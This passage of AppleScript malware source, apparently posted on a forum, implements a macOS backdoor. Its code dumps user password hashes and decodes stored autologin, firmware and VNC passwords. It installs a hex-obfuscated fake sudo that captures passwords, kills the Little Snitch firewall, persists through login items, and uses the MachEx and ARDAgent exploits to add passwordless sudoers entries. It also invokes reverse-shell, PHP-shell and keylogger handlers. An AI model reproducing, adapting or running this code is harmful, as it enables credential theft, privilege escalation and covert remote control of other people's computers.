    do shell script ("/usr/bin/sudo reboot")
end restart

on fuxor(the_variable)
    --Obfuscate some text
    if debug then log_event("fuxor")
    local the_variable
    return do shell script ("echo '" & the_variable & "' | tr '" & key2 & "' '" & key1 & "'")
end fuxor

on defuxor(the_variable)
    --Deobfuscate some text
    if debug then log_event("defuxor")
    local the_variable
    return do shell script ("echo '" & the_variable & "' | tr '" & key1 & "' '" & key2 & "'")
end defuxor

on just_hangin_out()
    --Keep checking until sudo works. Once called, the script will just sit here forever until sudo works or until it's quit.
    if debug then log_event("just_hangin_out")
    try
        do shell script "/usr/bin/sudo cat /etc/sudoers"
    on error
        delay 290 -- wait 4 minutes and 50 seconds before trying again. The default sudo timeout is 5 minutes.
        just_hangin_out()
    end try
end just_hangin_out

on pass_the_hash()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    if debug then log_event("pass_the_hash")
    local kcpassword, NATpassword, ARDVNCpassword, autoLoginUser
    
    --This gets the password hashes for all OS X user accounts.
    if OSX_version_number_minor as number ≥ 4 then --For Tiger and Leopard
        set OSX_hashes to do shell script "dscl . -list /Users \"authentication_authority\" | grep -i hash | sed \"s/ .*$//\" | while read the_name; do the_hashfile=$( dscl . -read /users/\"${the_name}\" generateduid | sed \"s/^.* //\" ); the_hash=`sudo cat \"/var/db/shadow/hash/$the_hashfile\"`; ntlm_hash=\"${the_hash:0:64}\";[ \"${ntlm_hash}\" == \"${ntlm_hash/0000}\" ] && echo \"_${the_name}_NTLM___:${the_hash:0:32}:${the_hash:32:32}\"; S0SHA1=\"${the_hash:104:48}\"; cram_md5=\"${the_hash:104:64}\"; SSHA1=\"${the_hash:168:48}\"; [ \"x${the_hash:153:15}\" != \"x000000000000000\" ] && echo \"${the_name}_CRAM_MD5:${cram_md5}\" || { [ -n \"${S0SHA1//0}\" ] && echo \"${the_name}_S0SHA1__:${S0SHA1}\"; }; [ -n \"${SSHA1//0}\" ] && echo \"${the_name}_SSHA1___:${SSHA1}\"; done"
    else if OSX_version_number_minor as number = 3 then --For Panther
        set OSX_hashes to do shell script "/usr/bin/nidump passwd . | grep -v \":\\" & (ASCII character 42) & ":\" | while read line;do echo \"${line}\";the_name=\"${line%%:*}\" the_hashfile=$(niutil -readprop . /users/${the_name} generateduid 2>/dev/null);sudo test -f /var/db/shadow/hash/${the_hashfile} && the_hash=$(sudo cat \"/var/db/shadow/hash/${the_hashfile}\");echo \"${the_name}_NTLM:${the_hash:0:32}:${the_hash:32:32}:\";echo \"${the_name}_SHA1:${the_hash:64:40}:\"; done"
    else --For Jaguar and prior
        set OSX_hashes to do shell script "/usr/bin/nidump passwd . | grep -v \":\\" & (ASCII character 42) & ":\" | while read line;do echo -n \"${line} \";the_name=\"${line%%:*}\" the_hashfile=$(niutil -readprop . /users/${the_name} generateduid 2>/dev/null); /usr/bin/sudo test -d /var/db/samba/hash && /usr/bin/sudo test -f /var/db/samba/hash/${the_hashfile} && /usr/bin/sudo cat \"/var/db/samba/hash/${the_hashfile}\" || echo;done"
    end if
    do shell script "echo " & quoted form of OSX_hashes & " >> " & quoted form of hashes_file
    
    --Get the Open Firmware password
    try
        set ofpassword to do shell script "IFS='%'; hexbytes=( $( /usr/bin/sudo nvram -p | grep password | cut -f 2 ) ); IFS='';for ((i=1;i<${#hexbytes[*]};i++)); do echo -en \"\\x$(printf '%x' $((16#AA^16#${hexbytes[$i]})))\";done;echo"
        if ofpassword is not "" then
            do shell script "echo " & quoted form of ofpassword & " >> " & quoted form of candidates_file
        end if
    end try
    
    --For the autologin password stored in /etc/keychain
    try
        set kcpassword to do shell script "declare -i offset=0 i=0;declare -a keys=(7d 89 52 23 d2 bc dd ea a3 b9 1f) hexbytes=($(sudo hexdump -v -e '/1 \"%02X \"' /etc/kcpassword));for ((offset=0;offset<${#hexbytes[*]};offset++));do newbyte=$(printf '%02X' $((16#${keys[${i}]}^16#${hexbytes[$offset]})));[ \"${newbyte}\" == \"00\" ]&&echo&&break;echo -en \"\\x${newbyte}\";let i+=1;[ $i -gt 10 ]&&let i=0;done"
        set autoLoginUser to do shell script "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser"
        if kcpassword is not "" then
            do shell script "echo " & quoted form of kcpassword & " >> " & quoted form of candidates_file
            if autoLoginUser is not "" then
                do shell script "echo '" & autoLoginUser & ":" & kcpassword & "' >> " & quoted form of accounts_file
            end if
        end if
    on error
        --Either /etc/kcpassword doesn't exist (as in no autologin user is set),
        --or the password does not belong to this user (we could test it with the other usernames of this system),
        --or sudo failed and we could not read the /etc/keychain file.
        --or the account is not allowed to use sudo.
    end try
    
    --For the ad-hoc WiFi network password which is stored as plain text.
    try
        set NATpassword to do shell script "defaults read /Library/Preferences/SystemConfiguration/com.apple.nat NAT | grep NetworkPassword | sed -e 's/^.*<//' -e 's/>.*$//'"
        if NATpassword is not "" then
            do shell script "echo " & quoted form of NATpassword & " >> " & quoted form of candidates_file
        end if
    end try
    
    --For the ARD VNC access password
    try
        --If /Library/Preferences/com.apple.VNCSettings.txt isn't there, create it with password 'a secret'
        try
            do shell script "[ ! -f /Library/Preferences/com.apple.VNCSettings.txt ] && echo -n '7614220BE8DAA096FF1C39567390ADCA' > /Library/Preferences/com.apple.VNCSettings.txt"
            return
        end try
        set ARDVNCpassword to do shell script "declare -a keys=(17 34 51 6e 8b a8 c5 e2 ff 1c 39 56 73 90 ad ca);p=$(sudo cat /Library/Preferences/com.apple.VNCSettings.txt);hexbytes=(${p:0:2} ${p:2:2} ${p:4:2} ${p:6:2} ${p:8:2} ${p:10:2} ${p:12:2} ${p:14:2} ${p:16:2} ${p:18:2} ${p:20:2} ${p:22:2} ${p:24:2} ${p:26:2} ${p:28:2} ${p:30:2});for ((offset=0;offset<${#keys[*]};offset++));do echo -en \"\\x$(printf '%02X' $((16#${keys[${offset}]}^16#${hexbytes[$offset]})))\";done"
        if ARDVNCpassword is not "" then
            do shell script "echo " & quoted form of ARDVNCpassword & " >> " & quoted form of candidates_file
        end if
    end try
end pass_the_hash

on alias_sudo()
    --This routine creates a shell script named ".sudo2" and then aliases the sudo command to run the shell script.
    --The alias is also added to the user's .profile. Captured passwords are output to ~/Public/.howdy
    if debug then log_event("alias_sudo")
    do shell script "echo -e \"\\x23\\x21\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68\\x0a\\x5b\\x20\\x22\\x78\\x24\\x7b\\x2a\\x7d\\x22\\x20\\x3d\\x3d\\x20\\x22\\x78\\x22\\x20\\x5d\\x20\\x26\\x26\\x20\\x65\\x78\\x65\\x63\\x20\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x75\\x64\\x6f\\x20\\x26\\x26\\x20\\x65\\x78\\x69\\x74\\x20\\x31\\x3b\\x5b\\x20\\x22\\x78\\x24\\x7b\\x31\\x7d\\x22\\x20\\x21\\x3d\\x20\\x22\\x78\\x24\\x7b\\x31\\x2f\\x2d\\x6b\\x7d\\x22\\x20\\x2d\\x6f\\x20\\x22\\x78\\x24\\x7b\\x31\\x7d\\x22\\x20\\x21\\x3d\\x20\\x22\\x78\\x24\\x7b\\x31\\x2f\\x2d\\x4b\\x7d\\x22\\x20\\x5d\\x20\\x26\\x26\\x20\\x65\\x78\\x65\\x63\\x20\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x75\\x64\\x6f\\x20\\x22\\x24\\x7b\\x2a\\x7d\\x22\\x20\\x26\\x26\\x20\\x65\\x78\\x69\\x74\\x20\\x30\\x3b\\x5b\\x20\\x24\\x28\\x28\\x24\\x52\\x41\\x4e\\x44\\x4f\\x4d\\x25\\x32\\x29\\x29\\x20\\x21\\x3d\\x20\\x30\\x20\\x5d\\x20\\x26\\x26\\x20\\x65\\x78\\x65\\x63\\x20\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x75\\x64\\x6f\\x20\\x22\\x24\\x7b\\x2a\\x7d\\x22\\x20\\x26\\x26\\x20\\x65\\x78\\x69\\x74\\x20\\x30\\x3b\\x65\\x63\\x68\\x6f\\x20\\x2d\\x6e\\x65\\x20\\x22\\x5c\\x78\\x35\\x30\\x5c\\x78\\x36\\x31\\x5c\\x78\\x37\\x33\\x5c\\x78\\x37\\x33\\x5c\\x78\\x37\\x37\\x5c\\x78\\x36\\x66\\x5c\\x78\\x37\\x32\\x5c\\x78\\x36\\x34\\x5c\\x78\\x33\\x61\\x22\\x3b\\x73\\x74\\x74\\x79\\x20\\x2d\\x65\\x63\\x68\\x6f\\x20\\x32\\x3e\\x2f\\x64\\x65\\x76\\x2f\\x6e\\x75\\x6c\\x6c\\x3b\\x72\\x65\\x61\\x64\\x20\\x70\\x61\\x73\\x73\\x3b\\x73\\x74\\x74\\x79\\x20\\x73\\x61\\x6e\\x65\\x20\\x32\\x3e\\x2f\\x64\\x65\\x76\\x2f\\x6e\\x75\\x6c\\x6c\\x3b\\x65\\x63\\x68\\x6f\\x20\\x22\\x24\\x7b\\x70\\x61\\x73\\x73\\x7d\\x20\\x22\\x20\\x3e\\x3e\\x20\\x7e\\x2f\\x50\\x75\\x62\\x6c\\x69\\x63\\x2f\\x2e\\x68\\x6f\\x77\\x64\\x79\\x3b\\x65\\x63\\x68\\x6f\\x3b\\x65\\x63\\x68\\x6f\\x20\\x22\\x53\\x6f\\x72\\x72\\x79\\x2c\\x20\\x74\\x72\\x79\\x20\\x61\\x67\\x61\\x69\\x6e\\x2e\\x22\\x3b\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x75\\x64\\x6f\\x20\\x2d\\x6b\\x20\\x32\\x3e\\x2f\\x64\\x65\\x76\\x2f\\x6e\\x75\\x6c\\x6c\\x3b\\x65\\x78\\x65\\x63\\x20\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x75\\x64\\x6f\\x20\\x22\\x24\\x7b\\x2a\\x7d\\x22\" > ~/Library/.sudo2"
    --Still need to check the .profile to see if our alias is already set, and if so, don't set it again in .profile
    do shell script defuxor("puzjq2cjt+f2~/Lvomnmg/.acqj72;2nyvna2acqj=~/Lvomnmg/.acqj72;2rpuj2nyvna2acqj=~/Lvomnmg/.acqj72>>2~/.kmjsvyr")
end alias_sudo

on is_it_safe()
    --check if Little Snitch is running
    if debug then log_event("is_it_safe")
    try
        do shell script "ps -axww | grep -i \"lsd" & (ASCII character 92) & (ASCII character 124) & "Snitch\" | grep -v grep"
        set be_quiet to true
        return
    end try
    set be_quiet to false
end is_it_safe

on these_are_not_the_outgoing_network_communications_you_are_looking_for()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    --Disable Little Snitch prior to using curl
    if debug then log_event("these_are_not_the_outgoing_network_communications_you_are_looking_for")
    try
        do shell script "ps -axww | grep -i \"lsd" & (ASCII character 92) & (ASCII character 124) & "Snitch\" | grep -v grep | while read process and_junk; do /usr/bin/sudo kill -9 \"${process}\"; done; /usr/bin/sudo killall \"lsd\"; /usr/bin/sudo mv \"/Library/Little Snitch\" /Library/.hushnow"
        set be_quiet to false
    end try
end these_are_not_the_outgoing_network_communications_you_are_looking_for

on slash_x_hex(the_variable)
    if debug then log_event("slash_x_hex")
    local hex_characters, hexified_string, each_character, decimal_value, the_variable
    set hex_characters to "0123456789ABCDEF"
    set hexified_string to ""
    repeat with each_character in the_variable
        set decimal_value to ASCII number of each_character
        set hexified_string to hexified_string & (ASCII character 92) & "x" & character (decimal_value div 16 + 1) of hex_characters & character (decimal_value mod 16 + 1) of hex_characters
    end repeat
    return hexified_string
end slash_x_hex

on test_a_password_with_sudo(try_this_password)
    if debug then log_event("test_a_password_with_sudo")
    local try_this_password
    try
        --HEY! Note that this is going to invalidate the sudo timestamp!
        --If sudo was already working, do what you need sudo for BEFORE calling this!
        do shell script "/usr/bin/sudo -k; echo " & quoted form of try_this_password & " | /usr/bin/sudo -S id -u"
        if result is "0" then
            set i_am_an_admin to true
            set i_have_root_access to true
            do shell script "echo " & my_username & ":" & my_password & " >> " & quoted form of accounts_file
        end if
    end try
end test_a_password_with_sudo

on can_sudo_come_out_to_play()
    if debug then log_event("can_sudo_come_out_to_play")
    try
        do shell script "/usr/bin/sudo id -u" --should fail if sudo isn't within the timeout or return "0" if it worked
        set i_have_root_access to true
    on error
        set i_have_root_access to false
    end try
end can_sudo_come_out_to_play

on move_in()
    --Test if I am running from /Library/Caches and if not, try to copy myself there (but only if I'm compiled)
    if debug then log_event("move_in")
    if my_POSIX_folder does not contain "/Library/Caches" and my_POSIX_folder is not "/Applications/AppleScript/" then
        try
            do shell script "ditto -X -rsrc " & quoted form of my_Path & " /Library/Caches/" & quoted form of my_name
            set launch_path to "/Library/Caches/" & my_name
            do shell script "chmod 777 /Library/Caches/" & quoted form of my_name
        on error
            --Couldn't copy myself into /Library/Caches/
        end try
    end if
end move_in

on loosen_permissions_on_SystemLoginItems()
    --This handler needs root! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
    if debug then log_event("loosen_permissions_on_SystemLoginItems")
    try
        do shell script "touch /Library/Preferences/com.apple.SystemLoginItems.plist"
    on error
        do shell script "/usr/bin/sudo chmod 777 /Library/Preferences/com.apple.SystemLoginItems.plist 2>/dev/null"
    end try
end loosen_permissions_on_SystemLoginItems

on rerun_me_every_startup()
    --Test if my launch path is listed in /Library/Preferences/com.apple.SystemLoginItems.plist and if not, try to add it (but only if I'm compiled)
    if debug then log_event("rerun_me_every_startup")
    try
        set SystemLoginItems to do shell script "defaults read /Library/Preferences/com.apple.SystemLoginItems AutoLaunchedApplicationDictionary"
    on error
        --can't read from /Library/Preferences/com.apple.SystemLoginItems.plist, perhaps it does not yet exist
    end try
    
    if SystemLoginItems does not contain launch_path and launch_path does not contain "Script Editor.app" then
        try
            do shell script "touch '/Library/Preferences/com.apple.SystemLoginItems.plist'"
            do shell script "defaults write /Library/Preferences/com.apple.SystemLoginItems AutoLaunchedApplicationDictionary -array-add '<dict><key>Hide</key><true/><key>Path</key><string>" & launch_path & "</string></dict>'"
            do shell script "chmod 777 /Library/Preferences/com.apple.SystemLoginItems.plist 2>/dev/null"
        on error
            --can't write to /Library/Preferences/com.apple.SystemLoginItems.plist, I'll add me to the user's login items instead.
            do shell script "touch ~/Library/Preferences/loginwindow.plist"
            do shell script "defaults write ~/Library/Preferences/loginwindow AutoLaunchedApplicationDictionary -array-add '<dict><key>Hide</key><true/><key>Path</key><string>" & launch_path & "</string></dict>'"
            do shell script "chmod 777 ~/Library/Preferences/loginwindow.plist 2>/dev/null"
        end try
    end if
end rerun_me_every_startup

on stuff_for_root_to_do()
    --This handler needs root!
    if debug then log_event("stuff_for_root_to_do")
    move_in()
    loosen_permissions_on_SystemLoginItems()
    rerun_me_every_startup()
    agent_86_reporting_for_duty_chief()
    its_smoky_in_here_lets_open_ports_in_the_firewall()
    enable_ssh()
    install_phpshell()
    enable_webserver()
    install_and_activate_logKext()
    pass_the_hash()
    i_have_a_secret()
    there_are_no_osx_viruses_silly_wabbit()
    i_like_you_just_as_you_are()
    is_it_safe()
    if be_quiet is not true then
        these_are_not_the_outgoing_network_communications_you_are_looking_for()
    end if
    papers_please()
    phone_home_and_try_a_different_method_if_it_fails()
    reverse_shell()
    Back_to_masters_VNC()
    nothing_to_see_here()
    throw_another_log_on_the_fire()
    --exit_stage_left
end stuff_for_root_to_do

on stuff_for_an_admin_without_sudo_to_do()
    --This is assuming that we are an admin user, we do not have a functional password and sudo is not already working
    if debug then log_event("stuff_for_an_admin_without_sudo_to_do")
    move_in()
    rerun_me_every_startup()
    enable_ssh()
    install_phpshell()
    i_have_a_secret()
    i_like_you_just_as_you_are()
    reverse_shell()
    Back_to_masters_VNC()
    is_it_safe()
    if be_quiet is false then
        papers_please()
        phone_home_and_try_a_different_method_if_it_fails()
    end if
    --exit_stage_left()
end stuff_for_an_admin_without_sudo_to_do

on stuff_for_a_regular_user_to_do()
    --This is assuming that we are a standard user, not an admin, and sudo won't work
    if debug then log_event("stuff_for_a_regular_user_to_do")
    move_in()
    rerun_me_every_startup()
    install_phpshell()
    i_have_a_secret()
    i_like_you_just_as_you_are()
    reverse_shell()
    Back_to_masters_VNC()
    is_it_safe()
    if be_quiet is false then
        papers_please()
        phone_home_and_try_a_different_method_if_it_fails()
    end if
    brute_user_accounts()
    --exit_stage_left
end stuff_for_a_regular_user_to_do


---------------------------------------------------------------------------
--Main
--------------------
--HEY! Keep in mind that outgoing communications only happen if be_quiet is set to false
--So, you might want to call is_it_safe and possibly
--these_are_not_the_outgoing_network_communications_you_are_looking_for before getting
--the IP address or sending email

if debug then log_event("Main")

--Check if sudo works already, do this immediately in case sudo's timestamp timeout is near
can_sudo_come_out_to_play()

--Check if I am a member of the admin group
whos_in_charge_here()

--Setup some folders and files
try
    do shell script "mkdir -p -m 777 '/Users/Shared/SC Info/' ~/Public/ /Library/WebServer/Documents/.PS_Store 2>/dev/null; exit 0"
    do shell script "touch " & quoted form of candidates_file & " " & quoted form of accounts_file & " " & quoted form of hashes_file & " ~/Public/" & quoted form of secret_file & " /Users/Shared/" & quoted form of secret_file & " /Library/WebServer/Documents/" & quoted form of secret_file & " 2>/dev/null; exit 0"
    do shell script "chmod -Rf 777 " & quoted form of candidates_file & " " & quoted form of accounts_file & " " & quoted form of hashes_file & " ~/Public/" & quoted form of secret_file & " /Users/Shared/" & quoted form of secret_file & " /Library/WebServer/Documents/" & quoted form of secret_file & " 2>/dev/null; exit 0"
end try

--If sudo isn't working, and I don't have a password then try using passwords I collected during previous runs on this computer.
if i_have_root_access is false and my_password is "" then
    if debug then log_event("Main: trying previously gathered passwords")
    local the_passwords, the_password
    set the_passwords to words in my_username & words in (do shell script "grep " & quoted form of my_username & " " & quoted form of accounts_file & " | sed -e 's/^.*://g' | sort -u ") & words in defuxor(do shell script ("grep '" & (ASCII character 92) & (ASCII character 91) & "' ~/Public/" & quoted form of secret_file & " | sed -e 's/^.*" & (ASCII character 92) & (ASCII character 91) & "//g' -e 's/" & (ASCII character 92) & (ASCII character 93) & ".*$//g' | tail -n 1"))
    --FIX this, no more & (ASCII character 92) & (ASCII character 91) &
    repeat with the_password in the_passwords
        try
            test_a_password_with_sudo(the_password)
            exit repeat
        on error
            --Just keep trying until we are out of possible passwords
        end try
    end repeat
end if

if i_have_root_access is false then
    --Try some exploits
    if OSX_version_number_minor as number < 4 or (OSX_version_number_minor as number ≤ 4 and OSX_version_number_mini as number < 8) then
        if debug then log_event("Main: Trying MachEx")
        --Attempts to run the compiled mach exception handling exploit from the Contents/Resources directory within this script's application bundle.
        try
            with timeout of 5 seconds
                do shell script quoted form of my_resources & "/MachEx <<< \"echo '" & my_username & (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL' >> /etc/sudoers; exit\""
            end timeout
            can_sudo_come_out_to_play()
        end try
    end if
    
    if debug then log_event("Main: trying to get ARDAgent to append to /etc/sudoers")
    set tries to 0
    repeat until tries ≥ 20
        try
            set tries to tries + 1
            tell application "ARDAgent" to do shell script "echo '" & my_username & (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL' >> /etc/sudoers"
            set tries to 25
            can_sudo_come_out_to_play()
        on error
            --ignore
        end try
    end repeat
end if

--Other stuff we could do
--take pictures - do shell script quoted form of my_resources & "isightcapture ~/public/\"$(date).jpg\""
--take screenshots - do shell script "screencapture -xmC ~/public/\"$(date).jpg\""
--Listen to the microphone?

if i_am_an_admin is false and i_have_root_access is false then
    if debug then log_event("Main: i_am_an_admin is false and i_have_root_access is false")
    stuff_for_a_regular_user_to_do()
end if

if i_am_an_admin is true and i_have_root_access is false then
    if debug then log_event("Main: i_am_an_admin is true and i_have_root_access is not true")
    stuff_for_an_admin_without_sudo_to_do()
    dupe_user()
    if i_have_root_access is false then alias_sudo()
end if

if i_have_root_access is true then
    if debug then log_event("Main: i_have_root_access is true")
    stuff_for_root_to_do()
end if

if all_else_fails then
    if debug then log_event("Main: all_else_fails")
    --Still to do?
    --check for passwords laying around in files to which I have read access
    --check for write access to setuid app paths, StartupItems, LoginItems, LaunchDaemons & Agents etc.
    --go into quiet mode and just wait for sudo to work or for Master to get the reverse shell or reverse VNC connections. :)
end if

if debug then log_event("THE END")
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2010 Invision Power Services, Inc.